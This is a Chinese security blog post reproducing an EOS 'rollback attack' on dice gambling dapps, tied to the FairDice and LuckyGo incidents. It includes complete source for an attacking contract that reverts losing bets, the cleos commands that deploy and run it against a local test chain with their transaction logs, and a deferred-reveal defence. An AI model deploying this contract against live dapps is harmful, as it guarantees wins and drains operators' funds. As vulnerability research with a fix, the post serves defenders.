d1nn3r

pwn the world

  • 主页
  • CTF
  • Technology
  • Research
  • Paper
  • 随笔
所有文章 友链 关于我

d1nn3r

pwn the world

  • 主页
  • CTF
  • Technology
  • Research
  • Paper
  • 随笔

回滚攻击

2018-12-11

文章导航

× 文章目录
  1. 1. 0x01 涉及攻击事件
    1. 1.1. 1
    2. 1.2. 2
  2. 2. 0x02 攻击原理
  3. 3. 0x03 攻击复现
    1. 3.1. 攻击合约
    2. 3.2. 攻击过程
  4. 4. 0x04 防御方法

复现回滚攻击

0x01 涉及攻击事件

1

  • 被攻击平台:FairDice
  • 攻击者账号:iloveloveeos
  • 攻击时间:2018年9月12日
  • 损失EOS:4,000 EOS(价值154,000 RMB)

2

  • 被攻击平台:LuckyGo
  • 攻击者账号:iloveloveeos
  • 攻击时间:2018年11月15日
  • 损失EOS:被攻击到下线

0x02 攻击原理

被攻击合约采用了同步开奖,回滚攻击的思路是恶意合约在dapp的action之后插入一个盈利检测action, 该action在reveal action之后执行,自然可以通过检测合约的余额来判断是否盈利。如果不盈利则触发assert从而导致整个交易回滚,最开始的转账action也作废即筹码回滚,攻击者不损失任何EOS,从而达到稳赢的结果

1

0x03 攻击复现

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <eosiolib/eosio.hpp>
#include "eosio.token.hpp"

using namespace eosio;

class [[eosio::contract]] rollback : public contract {
public:
using contract::contract;

[[eosio::action]]
void roll( name to, asset value, string memo ) {
asset balance = eosio::token::get_balance(
name("eosio.token"),
name("eosattacker2"),
symbol_code("SYS")
);
action(
permission_level{ _self,name("active")},
name("eosio.token"),
name("transfer"),
std::make_tuple(_self,to,value,memo)
).send();

action(
permission_level{ _self,name("active")},
_self,
name("checkbalance"),
std::make_tuple(balance)
).send();
}

[[eosio::action]]
void checkbalance( asset data) {
auto newBalance = eosio::token::get_balance(
name("eosio.token"),
name("eosattacker2"),
symbol_code("SYS")
);


eosio_assert( newBalance.amount > data.amount,"lose");

}
};
EOSIO_DISPATCH( rollback, (roll)(checkbalance))

攻击过程

为eosattacker2部署攻击合约

1
2
3
4
5
6
7
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos set contract eosattacker2 ~/Desktop/rollback/
Reading WASM from /home/d1nn3r/Desktop/rollback/rollback.wasm...
Publishing contract...
executed transaction: 674499c182aca92014d3b966f42b329e3200be040c03d42c4557434955fad3fd 5336 bytes 18533 us
# eosio <= eosio::setcode {"account":"eosattacker2","vmtype":0,"vmversion":0,"code":"0061736d0100000001711360047f7e7f7f0060000...
# eosio <= eosio::setabi {"account":"eosattacker2","abi":"0e656f73696f3a3a6162692f312e3100020c636865636b62616c616e63650001046...
warning: transaction executed locally, but may not be confirmed by the network yet ]

添加eosio.code权限

1
2
3
4
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos set account permission eosattacker2 active '{"threshold": 1,"keys": [{"key": "EOS4xgXALW7B3LtMWgYvVwb28UhSjmCzuy6uMgVjBUFUCHXQ8eoxU","weight": 1}], "accounts": [{"permission":{"actor":"eosattacker2","permission":"eosio.code"},"weight":1}]}' -p eosattacker2@owner
executed transaction: 24370a485694f80e2c1e90113d541cfc6b7a7a0ffb759386ac5b3e415a50c42f 184 bytes 458 us
# eosio <= eosio::updateauth {"account":"eosattacker2","permission":"active","parent":"owner","auth":{"threshold":1,"keys":[{"key...
warning: transaction executed locally, but may not be confirmed by the network yet ]

当进行回滚攻击的时候,将所有lose的结果全部拒绝,只接受win的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos get currency balance eosio.token eosattacker2
101901.0204 SYS

d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos push action eosattacker2 roll '["eosdiceadmin","100.0000 SYS","dice-50-eosdiceadmin"]' -p eosattacker2@active
Error 3050003: eosio_assert_message assertion failure
Error Details:
assertion failure with message: lose
pending console output:

d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos push action eosattacker2 roll '["eosdiceadmin","100.0000 SYS","dice-50-eosdiceadmin"]' -p eosattacker2@active
executed transaction: 577ab34fbef76c151c58763af0fbb605b11ab098677574e64d7577568b1f805f 144 bytes 11410 us
# eosattacker2 <= eosattacker2::roll {"to":"eosdiceadmin","value":"100.0000 SYS","memo":"dice-50-eosdiceadmin"}
# eosio.token <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-50-eosdiceadmin"}
# eosattacker2 <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-50-eosdiceadmin"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-50-eosdiceadmin"}
# eosdicetoken <= eosdicetoken::issue {"to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"}
# eosdicetoken <= eosdicetoken::transfer {"from":"eosdicetoken","to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"...
# eosattacker2 <= eosdicetoken::transfer {"from":"eosdicetoken","to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"...
# eosio.token <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosiodicedev <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosio.token <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
# eosdicetoken <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
# eosdiceadmin <= eosdiceadmin::reveal {"st_bet":{"id":68,"player":"eosattacker2","referrer":"eosdiceadmin","amount":"100.0000 SYS","roll_u...
# eosio.token <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosattacker2","quantity":"201.0204 SYS","memo":"bet id:68 player: eosat...
# eosdiceadmin <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosattacker2","quantity":"201.0204 SYS","memo":"bet id:68 player: eosat...
# eosattacker2 <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosattacker2","quantity":"201.0204 SYS","memo":"bet id:68 player: eosat...
# eosiodicelog <= eosiodicelog::result {"result":{"bet_id":68,"player":"eosattacker2","referrer":"eosdiceadmin","amount":"100.0000 SYS","ro...
# eosdiceadmin <= eosiodicelog::result {"result":{"bet_id":68,"player":"eosattacker2","referrer":"eosdiceadmin","amount":"100.0000 SYS","ro...
# eosattacker2 <= eosiodicelog::result {"result":{"bet_id":68,"player":"eosattacker2","referrer":"eosdiceadmin","amount":"100.0000 SYS","ro...
# eosattacker2 <= eosattacker2::checkbalance {"data":"101901.0204 SYS"}
warning: transaction executed locally, but may not be confirmed by the network yet ]

d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos get currency balance eosio.token eosattacker2
102002.0408 SYS

0x04 防御方法

reveal采用延迟开奖,这样就会绕过攻击者对余额的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
template <typename... Args>
void send_defer_action(Args &&... args)
{
transaction trx;
trx.actions.emplace_back(std::forward<Args>(args)...);
trx.delay_sec = 1;
trx.send(next_id(), _self, false);
}

...

send_defer_action(permission_level{_self, name("active")},
_self,
name("reveal"),
_bet);

而且实验发现即便攻击者知道延时时间也加上延时检测也无法攻击成功,因为delay_send的不是原子性的,即便失败也不会把之前的操作回滚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos get currency balance eosio.token eosattacker2
101405.7250 SYS
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos push action eosattacker2 roll '["eosdiceadmin","100.0000 SYS","dice-2-eosdiceadmin"]' -p eosattacker2@active
executed transaction: 83cae0db3bddb8e375b59360fcb3d796e943cc5ede6750cefb427b51f5b9dc26 224 bytes 3482 us
# eosattacker2 <= eosattacker2::roll {"to":"eosdiceadmin","value":"100.0000 SYS","memo":"dice-2-eosdiceadmin"}
# eosio.token <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-2-eosdiceadmin"}
# eosattacker2 <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-2-eosdiceadmin"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosattacker2","to":"eosdiceadmin","quantity":"100.0000 SYS","memo":"dice-2-eosdiceadmin"}
# eosdicetoken <= eosdicetoken::issue {"to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"}
# eosdicetoken <= eosdicetoken::transfer {"from":"eosdicetoken","to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"...
# eosattacker2 <= eosdicetoken::transfer {"from":"eosdicetoken","to":"eosattacker2","quantity":"10000.0000 DICE","memo":"mining! eosdice.vip"...
# eosio.token <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosiodicedev <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosiodicedev","quantity":"0.3020 SYS","memo":"for dev"}
# eosio.token <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
# eosdiceadmin <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
# eosdicetoken <= eosio.token::transfer {"from":"eosdiceadmin","to":"eosdicetoken","quantity":"1.0570 SYS","memo":"for prize pool"}
warning: transaction executed locally, but may not be confirmed by the network yet ]
d1nn3r@ubuntu:~/Desktop/eos/build/programs/cleos$ ./cleos get currency balance eosio.token eosattacker2
101305.7250 SYS

可以在nodeos终端看到信息

1
2
3
4
5
6
7
8
9
10
11
info  2018-12-12T03:51:30.506 thread-0  producer_plugin.cpp:337       on_incoming_block    ] Received block 3285a249e503f3dd... #607853 @ 2018-12-12T03:51:30.500 signed by accountnum11 [trxs: 0, lib: 591456, conf: 0, latency: 6 ms]
error 2018-12-12T03:51:31.005 thread-0 wasm_interface.cpp:933 eosio_assert ] message: lose
debug 2018-12-12T03:51:31.005 thread-0 controller.cpp:893 push_scheduled_trans ] 3050003 eosio_assert_message_exception: eosio_assert_message assertion failure
assertion failure with message: lose
{"s":"lose"}
thread-0 wasm_interface.cpp:934 eosio_assert
pending console output:
{"console":""}
thread-0 apply_context.cpp:72 exec_one
info 2018-12-12T03:51:31.006 thread-0 producer_plugin.cpp:337 on_incoming_block ] Received block 9cd63e218ee2a3fc... #607854 @ 2018-12-12T03:51:31.000 signed by accountnum11 [trxs: 2, lib: 591456, conf: 0, latency: 6 ms]
info 2018-12-12T03:51:31.503 thread-0 producer_plugin.cpp:337
  • eos
  • rollback attack
  • Research

扫一扫,分享到微信

微信分享二维码
区块链调研(二)
假转账通知攻击
  1. 1. 0x01 涉及攻击事件
    1. 1.1. 1
    2. 1.2. 2
  2. 2. 0x02 攻击原理
  3. 3. 0x03 攻击复现
    1. 3.1. 攻击合约
    2. 3.2. 攻击过程
  4. 4. 0x04 防御方法
© 2020 d1nn3r
Hexo Theme Yilia by Litten
  • 所有文章
  • 友链
  • 关于我

tag:

  • eosfactory
  • EOS智能合约测试框架
  • Reinforcement Learning
  • 论文
  • kernel UAF
  • AEG
  • IDAPython
  • WebAssembly
  • Taint track
  • JavaScript VM
  • Neural Network
  • attack AI
  • angr
  • 区块链
  • 调研
  • blockchain
  • Bap
  • Ocaml
  • build
  • Bitcon
  • Chromium
  • ClamAV
  • Firefox
  • Marx
  • spider
  • github
  • pin
  • triton
  • pinvmp
  • chkdsk
  • windows
  • disk
  • docker
  • docker-compose
  • EOS
  • wasm
  • Windows
  • pdb
  • EOS 环境搭建
  • EOS 智能合约
  • eos
  • attack event
  • Research
  • LIEF
  • seccomp
  • MAP_GROWSDOWN
  • fake elf
  • Google CTF
  • smart contract
  • dice
  • fakeeos
  • gcc保护机制编译参数
  • graphviz
  • Hello World
  • hexo
  • CTF
  • pwn
  • tcache
  • 未初始化的指针
  • canary
  • format string
  • 文件描述符
  • shell command
  • stack spray
  • linux kernel
  • kernel pwn
  • exp
  • mona
  • windbg
  • networkx
  • ntp
  • rdate
  • 时间同步
  • ntpdate
  • PIN
  • 无泄漏
  • double free
  • _IO_FILE
  • program_invocation_name
  • 双字节爆破
  • pwnvm
  • rollback attack
  • selenium
  • ftp
  • hash校验
  • srand随机数预测
  • transfer attack
  • vtv
  • code blue ctf 2017
  • writeup
  • debug
  • Windows Service
  • Windows kernel

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • afang
  • wonderkun
  • Zebork
CTFer
pwner
soaring in 01 world